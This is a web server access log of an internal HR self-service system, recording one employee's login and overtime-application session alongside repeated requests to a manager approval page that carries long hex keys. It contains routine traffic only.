100.64.0.1 - - [05/Sep/2025:10:48:52 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA17B86B369E6446B9D088B423C250AA7B1A90B1975EF90D196309F62B3DA2626BAE3EA431532884363465E12B67C61898032A8B93856E16D3F HTTP/1.1" 200 -
192.168.185.139 - - [05/Sep/2025:10:48:53 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA17B86B369E6446B9D088B423C250AA7B1A90B1975EF90D196309F62B3DA2626BAE3EA431532884363465E12B67C61898032A8B93856E16D3F HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:48:53 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA17B86B369E6446B9D088B423C250AA7B1A90B1975EF90D196309F62B3DA2626BAE3EA431532884363465E12B67C61898032A8B93856E16D3F HTTP/1.1" 200 4163
192.168.185.139 - - [05/Sep/2025:10:48:53 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:48:53 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA17B86B369E6446B9D088B423C250AA7B1A90B1975EF90D196309F62B3DA2626BAE3EA431532884363465E12B67C61898032A8B93856E16D3F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:10:49:00 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA17B86B369E6446B9D088B423C250AA7B1BCB537840F6914A1B2E5418DBC3D0534EB717CD0C40A9EF37A3F3B8122023C90E4BB3790D937036F HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:10:49:00 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA17B86B369E6446B9D088B423C250AA7B1BCB537840F6914A1B2E5418DBC3D0534EB717CD0C40A9EF37A3F3B8122023C90E4BB3790D937036F HTTP/1.1" 200 -
192.168.185.139 - - [05/Sep/2025:10:49:00 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA17B86B369E6446B9D088B423C250AA7B1BCB537840F6914A1B2E5418DBC3D0534EB717CD0C40A9EF37A3F3B8122023C90E4BB3790D937036F HTTP/1.1" 200 4163
192.168.185.139 - - [05/Sep/2025:10:49:00 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA17B86B369E6446B9D088B423C250AA7B1BCB537840F6914A1B2E5418DBC3D0534EB717CD0C40A9EF37A3F3B8122023C90E4BB3790D937036F HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:49:01 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:49:01 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA17B86B369E6446B9D088B423C250AA7B1BCB537840F6914A1B2E5418DBC3D0534EB717CD0C40A9EF37A3F3B8122023C90E4BB3790D937036F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.136 - - [05/Sep/2025:10:49:46 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.136 - - [05/Sep/2025:10:49:47 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.136 - - [05/Sep/2025:10:49:48 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:48 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [05/Sep/2025:10:49:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.136 - - [05/Sep/2025:10:49:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [05/Sep/2025:10:49:54 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1BE6FD4E0B8C0FECA3D895DD031FEFC80F0785D72A0A89409C3B4D83BDC3BE4354CEE20512A1E6545CA403CBDBC8A2A263021569E99E51EDB HTTP/1.1" 200 -
100.64.0.1 - - [05/Sep/2025:10:49:54 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1BE6FD4E0B8C0FECA3D895DD031FEFC80F0785D72A0A89409C3B4D83BDC3BE4354CEE20512A1E6545CA403CBDBC8A2A263021569E99E51EDB HTTP/1.1" 200 - "-" "-"
192.168.11.136 - - [05/Sep/2025:10:49:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:10:49:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.185.139 - - [05/Sep/2025:10:49:55 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1BE6FD4E0B8C0FECA3D895DD031FEFC80F0785D72A0A89409C3B4D83BDC3BE4354CEE20512A1E6545CA403CBDBC8A2A263021569E99E51EDB HTTP/1.1" 200 4163
192.168.185.139 - - [05/Sep/2025:10:49:55 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1BE6FD4E0B8C0FECA3D895DD031FEFC80F0785D72A0A89409C3B4D83BDC3BE4354CEE20512A1E6545CA403CBDBC8A2A263021569E99E51EDB HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:49:55 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:49:55 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1BE6FD4E0B8C0FECA3D895DD031FEFC80F0785D72A0A89409C3B4D83BDC3BE4354CEE20512A1E6545CA403CBDBC8A2A263021569E99E51EDB" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.136 - - [05/Sep/2025:10:49:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:10:49:56 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.136 - - [05/Sep/2025:10:49:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:49:56 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.136 - - [05/Sep/2025:10:49:56 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [05/Sep/2025:10:49:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:10:49:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.11.136 - - [05/Sep/2025:10:50:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [05/Sep/2025:10:50:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:50:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:50:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [05/Sep/2025:10:50:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.136 - - [05/Sep/2025:10:50:05 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:50:05 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.136 - - [05/Sep/2025:10:50:05 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:50:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [05/Sep/2025:10:50:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:50:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.136 - - [05/Sep/2025:10:50:07 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [05/Sep/2025:10:50:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 8900
192.168.11.136 - - [05/Sep/2025:10:50:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [05/Sep/2025:10:50:15 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FFC75A942DE48175DD735E03D5713EBBB0554068FAAAB522B47EBBAB8306673819656034646F16EF7 HTTP/1.1" 200 -
100.64.0.1 - - [05/Sep/2025:10:50:15 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FFC75A942DE48175DD735E03D5713EBBB0554068FAAAB522B47EBBAB8306673819656034646F16EF7 HTTP/1.1" 200 - "-" "-"
192.168.185.139 - - [05/Sep/2025:10:50:16 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FFC75A942DE48175DD735E03D5713EBBB0554068FAAAB522B47EBBAB8306673819656034646F16EF7 HTTP/1.1" 200 4344
192.168.185.139 - - [05/Sep/2025:10:50:16 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FFC75A942DE48175DD735E03D5713EBBB0554068FAAAB522B47EBBAB8306673819656034646F16EF7 HTTP/1.1" 200 4344 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:50:17 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:50:17 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FFC75A942DE48175DD735E03D5713EBBB0554068FAAAB522B47EBBAB8306673819656034646F16EF7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.136 - - [05/Sep/2025:10:50:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 13063
192.168.11.136 - - [05/Sep/2025:10:50:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646 HTTP/1.1" 200 13063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37399823621157646" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [05/Sep/2025:10:50:27 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FFC75A942DE48175DE622B7D81B78930FDE0B915DD51C7FF2C2B1D5420114CF62D1DC022A4C0D6751 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:10:50:27 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FFC75A942DE48175DE622B7D81B78930FDE0B915DD51C7FF2C2B1D5420114CF62D1DC022A4C0D6751 HTTP/1.1" 200 -
192.168.185.139 - - [05/Sep/2025:10:50:28 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FFC75A942DE48175DE622B7D81B78930FDE0B915DD51C7FF2C2B1D5420114CF62D1DC022A4C0D6751 HTTP/1.1" 200 4210 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:50:28 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FFC75A942DE48175DE622B7D81B78930FDE0B915DD51C7FF2C2B1D5420114CF62D1DC022A4C0D6751 HTTP/1.1" 200 4210
192.168.185.139 - - [05/Sep/2025:10:50:28 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:50:28 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FFC75A942DE48175DE622B7D81B78930FDE0B915DD51C7FF2C2B1D5420114CF62D1DC022A4C0D6751" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:10:50:34 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972F2AD032BFBE6B690706ED8F8B57E712B161BA081F2C94AE50073CE35C587F5AA5E4CA0990F04637A2 HTTP/1.1" 200 -
100.64.0.1 - - [05/Sep/2025:10:50:34 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972F2AD032BFBE6B690706ED8F8B57E712B161BA081F2C94AE50073CE35C587F5AA5E4CA0990F04637A2 HTTP/1.1" 200 - "-" "-"
192.168.185.139 - - [05/Sep/2025:10:50:35 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972F2AD032BFBE6B690706ED8F8B57E712B161BA081F2C94AE50073CE35C587F5AA5E4CA0990F04637A2 HTTP/1.1" 200 4203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:10:50:35 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972F2AD032BFBE6B690706ED8F8B57E712B161BA081F2C94AE50073CE35C587F5AA5E4CA0990F04637A2 HTTP/1.1" 200 4203
192.168.185.139 - - [05/Sep/2025:10:50:36 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:10:50:36 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972F2AD032BFBE6B690706ED8F8B57E712B161BA081F2C94AE50073CE35C587F5AA5E4CA0990F04637A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:10:50:43 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FB1F29B715D21131407A306F0B201D4F5CFA875B519C5545864A2FD4545697967524481E744129281 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:10:50:43 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E877567D7158F64C9B52049B7B9C79B972FB1F29B715D21131407A306F0B201D4F5CFA875B519C5545864A2FD4545697967524481E744129281 HTTP/1.1" 200 -
